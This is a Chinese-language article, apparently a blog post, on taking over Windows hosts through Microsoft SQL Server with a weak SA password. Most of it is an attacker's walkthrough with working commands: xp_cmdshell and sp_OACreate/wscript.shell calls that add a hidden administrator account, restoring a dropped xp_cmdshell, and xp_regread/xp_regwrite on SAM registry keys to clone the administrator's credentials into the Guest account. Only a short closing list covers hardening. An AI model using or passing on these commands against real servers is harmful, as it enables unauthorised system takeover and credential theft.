Microsoft SQLServer是一个c/s模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。我们都知道,在网络中Microsoft SQLServer的***最常见的就是利用SA弱口令***了,而核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什么是存储过程?为什么利用它可以获得系统管理员权限?
存储过程是存储在SQLServer中的预先写好的SQL语句集合,它分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以"sp_"开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'这样对方的系统就被添加了一个用户名为test,密码为12345,有管理员权限的用户,现在你应该明白为什么得到SA密码,就可以得到系统的最高权限了吧。下面就详细的讲一下Microsoft SQLServer中利用SA弱口令的***与防范。
通常当我们扫描到一台有
Microsoft SQLServer SA
弱口令的机器,都会用一些专门的***工具,比如
SqlExec
,如图
1
所示,
SuperSQLEXEC
,如图
2
所示,以及
SQL
综合利用工具,如图
3
所示。
图1 SqlExec运行界面
图2 SuperSQLEXEC运行界面
图3 SQL综合利用工具
这三款软件相对来讲SQL综合利用工具的功能更强些,因为它可以利用漏洞上传文件,这样我们就可以上传***程序,然后执行。可是在实际操作中,情况并不象我们的那样简单,我们上传***程序后,一般都会被对方的杀毒软件杀掉。而且经过使用SQL事件探查器(可以通过安装Microsoft SQLServer获得)对SQL综合利用工具提交的SQL语句抓取发现,要使SQL综合利用工具上传功能成功完成,有个前提条件就是对方Microsoft SQLServer中的存储过程xp_cmdshell没有被删除,如图4所示,否则无法成功执行,也就是说就算我们的***可以不被查杀,无法执行上传功能也是没有用的。
图4 SQL事件探查器抓取的SQL综合利用工具提交的SQL语句
删除xp_cmdshell的语句为:exec sp_dropextendedproc 'xp_cmdshell',同样我们也可以使用Microsoft SQLServer中的查询分析器连接到对方的Microsoft SQLServer,来恢复xp_cmdshell,语句为:exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll',如图5所示。恢复后,我们就可以使用SQL综合利用工具的上传功能了,并可以执行上传的文件。
图5 查询分析器的界面
但如果对方把
Microsoft SQLServer
中的
xplog70.dll
文件删除或放到其他地方了,
xp_cmdshell
就无法执行我们发出的命令了。难道就没有其他办法了?当然不是,在
Microsoft SQLServer
中有一系列与
OLE
相关的存储过程,这一系列的存储过程同
Xp_cmdshell
以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,所以被删除的可能性就小一些。这系列的存储过程有
sp_OACreate
,
sp_OADestroy
,
sp_OAGetErrorInfo
,
sp_OAGetProperty
,
sp_OAMethod
,
sp_OASetProperty
,
sp_OAStop
。使用查询分析器连接到对方的
Microsoft SQLServer
,在查询分析器中执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 12345 /add'--
再执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
就可以在对方的系统添加一个用户名为
test
,密码为
12345
,有管理员权限的用户。
如果对方把
Xp_cmdshell
、
SP_OACREATE
等可执行系统命令的存储过程,以及与它们相对应的动态连接库文件删除了,我们还有一个办法,就是使用可以读取和修改注册表的存储过程来克隆对方系统的管理员用户。在查询分析器里运行下面的语句:
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />000001F4','F'
,可以得到对方系统
administrator
的加密密码,然后复制,如图6
所示。
然后再执行:
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SAM\SAM\Domains\Account\Users\000001F5', 'F','reg_binary',0x
(上面复制的那串字符),如果对方有远程终端服务,那我们就可以用
Guest
用户登陆,密码为空,而且
Guest
的桌面与
administrator
的完全一样。
有很多种方法得到
Microsoft SQLServer SA
的密码,比如通过
Sniffer
到
SA
的加密密码,然后通过密码对照表
(
网上可以找到
)
,得到
SA
的明文密码,再比如通过
SQL
注入得到
SA
密码或者使用
sp_password
(修改数据库用户密码的存储过程)修改得到
SA
密码,还有可以挂密码字典进行暴力破解。一旦被
SA
密码被***者得到,会对服务器的安全带来很大隐患,所以我们整理了一个解决方案提供给大家:
1.
在确定不需要的情况下,删除
xp_cmdshell
,
xp_dirtree
,
xp_regread
,
xp_regdeletekey
,
xp_regdeletevalue
,
xp_regwrite
,
sp_oacreate
,
sp_oadestroy
,
sp_oagetErrorInfo
,
sp_oagetProperty
,
sp_oamethod
,
sp_oasetProperty
,
sp_oastop
这些存储过程,移走相关的动态连接库文件,在需要的时候复制到原来的位置就可以了。
2.
应用程序和网站在与后台的
Microsoft SQLServer
数据库连接时不要用
SA
等高权限的用户连接。
3. 给
SA
等高权限的用户起一个健壮的密码。